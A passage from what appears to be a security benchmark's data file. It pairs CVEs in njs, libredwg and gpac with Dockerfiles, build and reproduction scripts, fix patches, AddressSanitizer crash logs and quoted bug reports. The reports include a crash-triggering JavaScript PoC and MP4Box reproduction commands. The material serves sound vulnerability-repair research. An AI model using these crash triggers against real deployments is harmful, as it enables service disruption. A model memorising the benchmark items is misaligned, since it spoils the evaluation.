Running: crashes/njs_njs_process_script_fuzzer/id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856
src/njs_vmcode.c:1049:17: runtime error: member access within null pointer of type 'njs_value_t' (aka 'union njs_value_s')
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/njs_vmcode.c:1049:17 in
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1324882==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005394e8 bp 0x7fffffffd4f0 sp 0x7fffffffd4c0 T0)
==1324882==The signal is caused by a WRITE memory access.
==1324882==Hint: address points to the zero page.
#0 0x5394e8 in njs_vmcode_array /src/njs/src/njs_vmcode.c:1049:17
#1 0x52b41d in njs_vmcode_interpreter /src/njs/src/njs_vmcode.c:580:23
#2 0x52472e in njs_vm_start /src/njs/src/njs_vm.c:487:11
#3 0x4ffe8e in njs_process_script (/out/njs_process_script_fuzzer+0x4ffe8e)
#4 0x4ff759 in LLVMFuzzerTestOneInput (/out/njs_process_script_fuzzer+0x4ff759)
#5 0x4e0b39 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4e0b39)
#6 0x4cba49 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4cba49)
#7 0x4d0952 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/out/njs_process_script_fuzzer+0x4d0952)
#8 0x4cb7d2 in main (/out/njs_process_script_fuzzer+0x4cb7d2)
#9 0x7ffff77050b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x42101d in _start (/out/njs_process_script_fuzzer+0x42101d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/njs/src/njs_vmcode.c:1049:17 in njs_vmcode_array
==1324882==ABORTING
```
I attach the crashing testcase in a tar.gz, you can run it simply giving the testcase as first argument to the harness.
[id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856.tar.gz](https://github.com/nginx/njs/files/8090085/id.000002.sig.06.src.001260%2B005121.time.65254059.op.splice.rep.2.trial.1496856.tar.gz) |
njs.cve-2022-38890 | nginx/njs | njs | c++ | /src/njs | address | Nginx NJS v0.7.7 was discovered to contain a segmentation violation via njs_utf8_next at src/njs_utf8.h | 6af74b6c5e120595e11df74ca8749021e5f2a7e1 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and is executable
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Preserve existing CFLAGS and CXXFLAGS
export CFLAGS="$CFLAGS -fno-use-cxa-atexit"
export CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit"
# Configure and build
./configure
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR njs.cve-2022-38890..."
/src/njs/build/njs /testcase/poc.js
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/njs
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 6af74b6c5e120595e11df74ca8749021e5f2a7e1
WORKDIR $SRC/njs
COPY build.sh $SRC/ | diff --git a/src/njs_string.c b/src/njs_string.c
index 83cede54..62bece0d 100644
--- a/src/njs_string.c
+++ b/src/njs_string.c
@@ -2849,6 +2849,7 @@ njs_string_trim(const njs_value_t *value, njs_string_prop_t *string,
for ( ;; ) {
if (start == prev) {
+ end = prev;
break;
}
| 0 | ==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp 0x7fff88dc8f70 sp 0x7fff88dc8e40 T0)
==1550478==The signal is caused by a READ memory access.
#0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20
#1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17
#2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13
#3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11
#4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11
#6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11
#8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19
#9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11
#10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15
#11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs_utf8.h:54:20 in njs_utf8_next
==1550478==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/569
## Description:
Issue: nginx/njs#569
Title: Another way to trigger SEGV in njs_utf8_next cause oob read
State: closed
Created by: ret2ddme
Created at: 2022-08-25 02:58:03+00:00
Labels: bug, fuzzer
Issue Body:
the call stack is different with https://github.com/nginx/njs/issues/522
```
Environment
commit: 569292e0a74f2b1ec09566f3329f82bdd0d58e87
version: 0.7.7
Build :
./configure --cc=clang --address-sanitizer=YES
make
```
Poc
```js
function placeholder(){}
function main() {
var v2 = String.fromCharCode(-950135168);
var v3 = v2.trimEnd(String);
var v8 = 512 >>> "multiline";
var v9 = String.fromCharCode(788580.490736339);
var v10 = v9.padEnd(v8,v3);
var v11 = v10.lastIndexOf(788580.490736339);
}
main();
```
Asan
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp 0x7fff88dc8f70 sp 0x7fff88dc8e40 T0)
==1550478==The signal is caused by a READ memory access.
#0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20
#1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17
#2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13
#3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11
#4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11
#6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11
#8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19
#9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11
#10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15
#11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs_utf8.h:54:20 in njs_utf8_next
==1550478==ABORTING
```
Credit
ret2ddme |
libredwg.cve-2020-21816 | libredwg/libredwg | libredwg | c++ | /src/libredwg | address | A heab based buffer overflow issue exists in GNU LibreDWG 0.10.2641 via htmlescape ../../programs/escape.c:46. | 5f998146dd695a8b4bfdbd21c233e42fbb94e90d | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and is executable
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set necessary compiler flags
export CFLAGS="$CFLAGS"
export CXXFLAGS="$CXXFLAGS"
# Configure and build
./configure --disable-shared
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR libredwg.cve-2020-21816..."
# Run the dwg2SVG program with the PoC file to trigger the vulnerability
/src/libredwg/programs/dwg2SVG /testcase/poc.dwg
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/libredwg
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout 7b9cb829f93d1c1f67584345ed65ea830de8bdda
WORKDIR $SRC/libredwg
COPY build.sh $SRC/ | diff --git a/programs/escape.c b/programs/escape.c
index 8a907414..4d409ea4 100644
--- a/programs/escape.c
+++ b/programs/escape.c
@@ -27,42 +27,74 @@ char * ATTRIBUTE_MALLOC
htmlescape (const char *restrict src, const int cp)
{
int len;
- char *dest, *d;
+ char *dest, *d, *end;
unsigned char *s;
if (!src)
return NULL;
len = strlen (src) + 10;
- d = malloc (len);
+ d = calloc (len, 1);
s = (unsigned char *)src;
dest = d;
- while (*s++)
+ end = dest + len;
+ while (*s)
{
const int off = d - dest;
- if (off >= len - 8)
+ if (end - d <= 8)
{
len += 10;
dest = realloc (dest, len);
d = dest + off;
+ *d = 0;
+ end = dest + len;
}
switch (*s)
{
- case '"': strcat (d, """); d += 6; break;
- case '\'': strcat (d, "'"); d += 5; break;
- case '`': strcat (d, "`"); d += 5; break;
- case '&': strcat (d, "&"); d += 5; break;
- case '<': strcat (d, "<"); d += 4; break;
- case '>': strcat (d, ">"); d += 4; break;
- case '{': strcat (d, "{"); d += 6; break;
- case '}': strcat (d, "}"); d += 6; break;
+ case '"':
+ strcat (d, """);
+ d += 6;
+ break;
+ case '\'':
+ strcat (d, "'");
+ d += 5;
+ break;
+ case '`':
+ strcat (d, "`");
+ d += 5;
+ break;
+ case '&':
+ strcat (d, "&");
+ d += 5;
+ break;
+ case '<':
+ strcat (d, "<");
+ d += 4;
+ break;
+ case '>':
+ strcat (d, ">");
+ d += 4;
+ break;
+ case '{':
+ strcat (d, "{");
+ d += 6;
+ break;
+ case '}':
+ strcat (d, "}");
+ d += 6;
+ break;
default:
if (*s >= 127) // maybe encodings, no utf8 (see htmlwescape)
{
sprintf (d, "&#x%X;", *s); // 4 + 4
d += strlen (d);
+ *d = 0;
}
else if (*s >= 20)
- *d++ = *s;
+ {
+ *d++ = *s;
+ *d = 0;
+ }
}
+ s++;
}
*d = 0;
return dest;
diff --git a/programs/escape.c b/programs/escape.c
index 4d409ea4..0bf9656c 100644
--- a/programs/escape.c
+++ b/programs/escape.c
@@ -113,9 +113,9 @@ htmlwescape (BITCODE_TU wstr)
while ((c = *tmp++))
len++;
len += 16;
- d = dest = malloc (len);
+ d = dest = calloc (len, 1);
- while (*wstr++)
+ while (*wstr)
{
const int off = d - dest;
if (off >= len - 8)
@@ -123,6 +123,7 @@ htmlwescape (BITCODE_TU wstr)
len += 16;
dest = realloc (dest, len);
d = dest + off;
+ *d = 0;
}
switch (*wstr)
{
@@ -139,10 +140,15 @@ htmlwescape (BITCODE_TU wstr)
{
sprintf (d, "&#x%X;", *wstr);
d += strlen (d);
+ *d = 0;
}
else if (*wstr >= 20)
- *d++ = *wstr;
+ {
+ *d++ = *wstr;
+ *d = 0;
+ }
}
+ wstr++;
}
*d = 0;
return dest;
| 0 | ==4460==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000044cc6 at pc 0x7f2ccba2f66e bp 0x7ffd5b9c04e0 sp 0x7ffd5b9bfc88
READ of size 22 at 0x603000044cc6 thread T0
#0 0x7f2ccba2f66d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x561be92280e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128
#2 0x561be92280e7 in htmlescape ../../programs/escape.c:46
#3 0x561be9225b38 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:361
#4 0x561be9223544 in output_SVG ../../programs/dwg2SVG.c:418
#5 0x561be9223544 in main ../../programs/dwg2SVG.c:525
#6 0x7f2ccb270b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x561be9223d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x603000044cc6 is located 0 bytes to the right of 22-byte region [0x603000044cb0,0x603000044cc6)
allocated by thread T0 here:
#0 0x7f2ccbabcb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x561be9227de0 in htmlescape ../../programs/escape.c:30
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c0680000940: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c0680000950: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa
0x0c0680000960: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa
0x0c0680000970: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c0680000980: 00 00 fa fa fd fd fd fa fa fa fd fd fd fa fa fa
=>0x0c0680000990: fd fd fd fa fa fa 00 00[06]fa fa fa fa fa fa fa
0x0c06800009a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4460==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890865
## Description:
Issue: LibreDWG/libredwg#182
Title: Several bugs found by fuzzing
Referenced comment by linhlhq on 2020-01-10 06:17:18+00:00:
**2.heap-buffer-overflow in htmlescape ../../programs/escape.c:46**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000016%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:125355
ASAN says:
```
==4460==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000044cc6 at pc 0x7f2ccba2f66e bp 0x7ffd5b9c04e0 sp 0x7ffd5b9bfc88
READ of size 22 at 0x603000044cc6 thread T0
#0 0x7f2ccba2f66d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x561be92280e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128
#2 0x561be92280e7 in htmlescape ../../programs/escape.c:46
#3 0x561be9225b38 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:361
#4 0x561be9223544 in output_SVG ../../programs/dwg2SVG.c:418
#5 0x561be9223544 in main ../../programs/dwg2SVG.c:525
#6 0x7f2ccb270b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x561be9223d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x603000044cc6 is located 0 bytes to the right of 22-byte region [0x603000044cb0,0x603000044cc6)
allocated by thread T0 here:
#0 0x7f2ccbabcb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x561be9227de0 in htmlescape ../../programs/escape.c:30
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c0680000940: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c0680000950: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa
0x0c0680000960: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa
0x0c0680000970: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c0680000980: 00 00 fa fa fd fd fd fa fa fa fd fd fd fa fa fa
=>0x0c0680000990: fd fd fd fa fa fa 00 00[06]fa fa fa fa fa fa fa
0x0c06800009a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4460==ABORTING
``` |
gpac.cve-2023-46929 | gpac/gpac | gpac | c++ | /src/gpac | address | An issue discovered in GPAC 2.3-DEV-rev605-gfc9e29089-master in MP4Box in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 allows attackers to crash the application. | 3809955065afa3da1ad580012ec43deadbb0f2c8 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
if [ -f ./configure ]; then
chmod +x ./configure
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
fi
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR gpac.cve-2023-46929..."
# Trigger the specific vulnerability
/src/gpac/bin/gcc/MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt /testcase/poc2gpac
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/gpac
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 3809955065afa3da1ad580012ec43deadbb0f2c8
WORKDIR $SRC/gpac
COPY build.sh $SRC/ | diff --git a/src/media_tools/av_parsers.c b/src/media_tools/av_parsers.c
index 43c3200b9..84e6601b6 100644
--- a/src/media_tools/av_parsers.c
+++ b/src/media_tools/av_parsers.c
@@ -6865,6 +6865,9 @@ GF_Err gf_avc_change_vui(GF_AVCConfig *avcc, GF_VUIInfo *vui_info)
GF_AVCConfigSlot *slc;
orig = NULL;
+ if (!avcc)
+ return GF_NON_COMPLIANT_BITSTREAM;
+
memset(&avc, 0, sizeof(AVCState));
avc.sps_active_idx = -1;
| 1 | ==3037856==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7ffff67d35c7 bp 0x7ffffffec090 sp 0x7ffffffe29c0 T0)
==3037856==The signal is caused by a READ memory access.
==3037856==Hint: address points to the zero page.
#0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55
#1 0x7ffff67d6ce5 in gf_avc_change_color /afltest/gpac/src/media_tools/av_parsers.c:6950:9
#2 0x7ffff677f62c in gf_media_change_color /afltest/gpac/src/media_tools/isom_tools.c:198:3
#3 0x54e165 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1670:9
#4 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#5 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#6 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/av_parsers.c:6872:55 in gf_avc_change_vui
==3037856==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/2662
## Description:
Issue: gpac/gpac#2662
Title: SEGV in MP4Box in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55
State: closed
Created by: Frank-Z7
Created at: 2023-10-24 08:09:10+00:00
Issue Body:
# SEGV in MP4Box
### Description
SEGV in gpac/MP4Box.
#0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt poc2gpac
```shell
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3037856==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7ffff67d35c7 bp 0x7ffffffec090 sp 0x7ffffffe29c0 T0)
==3037856==The signal is caused by a READ memory access.
==3037856==Hint: address points to the zero page.
#0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55
#1 0x7ffff67d6ce5 in gf_avc_change_color /afltest/gpac/src/media_tools/av_parsers.c:6950:9
#2 0x7ffff677f62c in gf_media_change_color /afltest/gpac/src/media_tools/isom_tools.c:198:3
#3 0x54e165 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1670:9
#4 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#5 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#6 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/av_parsers.c:6872:55 in gf_avc_change_vui
==3037856==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt poc2gpac
```
### PoC
poc2gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc2gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan |
gpac.cve-2024-0321 | gpac/gpac | gpac | c++ | /src/gpac | address | Stack-based Buffer Overflow in GitHub repository gpac/gpac prior to 2.3-DEV. | d2de8b5ea35e714d9a1a1dfada5313701070998f | #!/bin/bash -eu
# Minimized build script with only core build commands
# Ensure the script is standalone and robust
set -eu
# Check if configure script exists and is executable
if [ -f ./configure ]; then
chmod +x ./configure
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
fi
# Compile the project using all available processors
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR gpac.cve-2024-0321..."
/src/gpac/bin/gcc/MP4Box -dash 1000 /testcase/sbo3
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/gpac
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout d2de8b5ea35e714d9a1a1dfada5313701070998f
WORKDIR $SRC/gpac
COPY build.sh $SRC/ | diff --git a/src/filters/load_text.c b/src/filters/load_text.c
index 637339822..877b285a8 100644
--- a/src/filters/load_text.c
+++ b/src/filters/load_text.c
@@ -377,6 +377,10 @@ char *gf_text_get_utf8_line(char *szLine, u32 lineSize, FILE *txt_in, s32 unicod
GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("[TXTIn] Line too long to convert to utf8 (len: %d)\n", len));
j = GF_ARRAY_LENGTH(szLineConv) -1 ;
}
+ if ( j >= lineSize ) {
+ GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("[TXTIn] UT8 converted line too long for buffer (len: %d, buffer: %d)\n", j, lineSize));
+ j = lineSize-1 ;
+ }
szLineConv[j] = 0;
strcpy(szLine, szLineConv);
return sOK;
| 0 | ==59407==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffffffed310 at pc 0x7ffff761f16d bp 0x7ffffffebfe0 sp 0x7ffffffeb788
WRITE of size 2048 at 0x7ffffffed310 thread T0
#0 0x7ffff761f16c in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cc:431
#1 0x7ffff4d52d1c in strcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:90
#2 0x7ffff4d52d1c in gf_text_get_utf8_line filters/load_text.c:381
#3 0x7ffff4d71af3 in txtin_process_srt filters/load_text.c:996
#4 0x7ffff4d6b4f3 in txtin_process filters/load_text.c:4015
#5 0x7ffff4a5d4ae in gf_filter_process_task filter_core/filter.c:2971
#6 0x7ffff4a2ab11 in gf_fs_thread_proc filter_core/filter_session.c:2105
#7 0x7ffff4a2f8b6 in gf_fs_run filter_core/filter_session.c:2405
#8 0x7ffff43bc0bd in gf_dasher_process media_tools/dash_segmenter.c:1236
#9 0x555555621d26 in do_dash /home/fuzz/gpac/applications/mp4box/mp4box.c:4831
#10 0x555555621d26 in mp4box_main /home/fuzz/gpac/applications/mp4box/mp4box.c:6245
#11 0x7ffff164c082 in __libc_start_main ../csu/libc-start.c:308
#12 0x5555555fa05d in _start (/home/fuzz/gpac/bin/gcc/MP4Box+0xa605d)
Address 0x7ffffffed310 is located in stack of thread T0 at offset 2336 in frame
